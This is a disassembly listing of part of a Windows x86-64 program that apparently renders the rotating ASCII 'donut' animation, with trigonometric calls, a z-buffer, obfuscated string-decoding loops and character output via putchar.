mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x1410]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x14b0]
call fcn.1400f1dd0
jmp 0x1400fabfa
xorps xmm8, xmm8
xorps xmm7, xmm7
movss dword [rbp + 0x1a0], xmm7
movss dword [rsp + 0x5c], xmm8
mov dword [rbp + 0xd50], 0xfd94e2a3
mov byte [rbp + 0xd54], 0x40
xor eax, eax
movups xmmword [rbp + 0xd55], xmm0
mov dword [rbp + 0xd65], eax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jae 0x1400fad7e
movabs r9, 0xd1f36dd97401d0b6
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xd50]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 6
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xd50], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x1400fad30
lea rcx, [rbp + 0xd50]
call fcn.1400f2b40
movabs rsi, 0xc57a818fc2ab7250
movabs r15, 0x1f612cd1041a49e0
nop
mov edx, 0x20
mov r8d, 0x6e0
lea rcx, [rbp + 0x35e0]
call fcn.1401a88dc
xor edx, edx
mov r8d, 0x1b80
lea rcx, [rbp + 0x1a40]
call fcn.1401a88dc
movaps xmm6, xmm8
movss dword [rbp + 0x580], xmm6
nop word [rax + rax]
movss dword [rbp + 0x850], xmm8
nop dword [rax]
movaps xmm0, xmm8
call fcn.1400f2c10
movaps xmm12, xmm0
movaps xmm0, xmm6
call fcn.1400f2c00
movaps xmm14, xmm0
movaps xmm0, xmm7
call fcn.1400f2c10
movaps xmm13, xmm0
movaps xmm0, xmm6
call fcn.1400f2c10
movaps xmm15, xmm0
movaps xmm0, xmm7
call fcn.1400f2c00
movaps xmm10, xmm0
movaps xmm7, xmm14
addss xmm7, dword [0x1402499f0]
movaps xmm6, xmm7
mulss xmm6, xmm12
movaps xmm11, xmm0
mulss xmm11, xmm15
movaps xmm1, xmm13
mulss xmm1, xmm6
addss xmm1, xmm11
addss xmm1, dword [0x140249a20]
movss xmm0, dword [0x1402499d8]
divss xmm0, xmm1
movss dword [rsp + 0x50], xmm0
movaps xmm0, xmm8
call fcn.1400f2c00
movaps xmm9, xmm0
movss xmm0, dword [rsp + 0x5c]
call fcn.1400f2c00
movaps xmm8, xmm0
movss xmm0, dword [rsp + 0x5c]
call fcn.1400f2c10
movaps xmm5, xmm0
mulss xmm15, xmm13
movaps xmm4, xmm10
mulss xmm4, xmm6
subss xmm4, xmm15
movaps xmm3, xmm9
mulss xmm3, xmm7
movaps xmm2, xmm8
mulss xmm2, xmm3
movaps xmm1, xmm4
mulss xmm1, xmm5
subss xmm2, xmm1
movss xmm6, dword [rsp + 0x50]
movaps xmm0, xmm6
mulss xmm0, dword [0x140249a30]
mulss xmm2, xmm0
addss xmm2, dword [0x140249a34]
cvttss2si ecx, xmm2
mulss xmm4, xmm8
movaps xmm0, xmm5
mulss xmm0, xmm3
addss xmm4, xmm0
movaps xmm1, xmm6
mulss xmm1, dword [0x140249a2c]
mulss xmm4, xmm1
addss xmm4, dword [0x140249a28]
cvttss2si edx, xmm4
movaps xmm0, xmm14
mulss xmm0, xmm12
mulss xmm10, xmm0
subss xmm15, xmm10
mulss xmm15, xmm8
mulss xmm13, xmm0
subss xmm15, xmm13
subss xmm15, xmm11
mulss xmm9, xmm14
mulss xmm9, xmm5
subss xmm15, xmm9
mulss xmm15, dword [0x140249a24]
cvttss2si r10d, xmm15
lea eax, [rdx - 1]
cmp eax, 0x14
ja 0x1400fb04f
lea eax, [rcx - 1]
cmp eax, 0x4e
ja 0x1400fb04f
lea eax, [rdx + rdx*4]
shl eax, 4
add eax, ecx
movsxd r9, eax
comiss xmm6, dword [rbp + r9*4 + 0x1a40]
jbe 0x1400fb04f
movss dword [rbp + r9*4 + 0x1a40], xmm6
mov dword [rbp + 0x890], 0xf0c0f0e
mov dword [rbp + 0x894], 0xc8c90908
mov dword [rbp + 0x898], 0x3b3a39c7
mov byte [rbp + 0x89c], WSASetLastError
xor eax, eax
mov qword [rbp + 0x89d], rax
mov dword [rbp + 0x8a5], eax
mov word [rbp + 0x8a9], ax
mov byte [rbp + 0x8ab], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jae 0x1400fb033
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x890]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x30
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x890], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jb 0x1400fafe5
mov eax, r14d
test r10d, r10d
cmovg eax, r10d
cdqe
movzx ecx, byte [rbp + rax + 0x890]
mov byte [rbp + r9 + 0x35e0], cl
movss xmm0, dword [rbp + 0x850]
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x1402499e0]
cvtpd2ps xmm8, xmm0
movss dword [rbp + 0x850], xmm8
cvtps2pd xmm1, xmm8
movsd xmm2, qword [0x140249a10]
comisd xmm2, xmm1
movss xmm6, dword [rbp + 0x580]
movss xmm7, dword [rbp + 0x1a0]
ja 0x1400fadf0
movaps xmm0, xmm6
cvtps2pd xmm0, xmm6
addsd xmm0, qword [0x1402499e8]
cvtpd2ps xmm6, xmm0
movss dword [rbp + 0x580], xmm6
cvtps2pd xmm1, xmm6
comisd xmm2, xmm1
xorps xmm8, xmm8
ja 0x1400fade0
mov dword [rbp + 0xd70], 0xc38a9adb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd74], xmm0
mov qword [rbp + 0xd84], rax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jae 0x1400fb13e
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xd70]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x20
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xd70], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jb 0x1400fb0f0
lea rcx, [rbp + 0xd70]
call fcn.1400f2b40
mov ebx, r14d
lea rdi, [rbp + 0x35e0]
movss xmm7, dword [rbp + 0x1a0]
movss xmm8, dword [rsp + 0x5c]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xcccccccd
mul ebx
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
cmp ebx, ecx
je 0x1400fb189
movsx ecx, byte [rdi]
jmp 0x1400fb18e
mov ecx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_putchar]
cvtps2pd xmm0, xmm7
addsd xmm0, qword [0x1402499d0]
cvtpd2ps xmm7, xmm0
cvtps2pd xmm1, xmm8
addsd xmm1, qword [0x1402499c8]
cvtpd2ps xmm8, xmm1
inc ebx
inc rdi
cmp ebx, 0x6e1
jl 0x1400fb170
movss dword [rsp + 0x5c], xmm8
movss dword [rbp + 0x1a0], xmm7
xorps xmm8, xmm8
jmp 0x1400fada0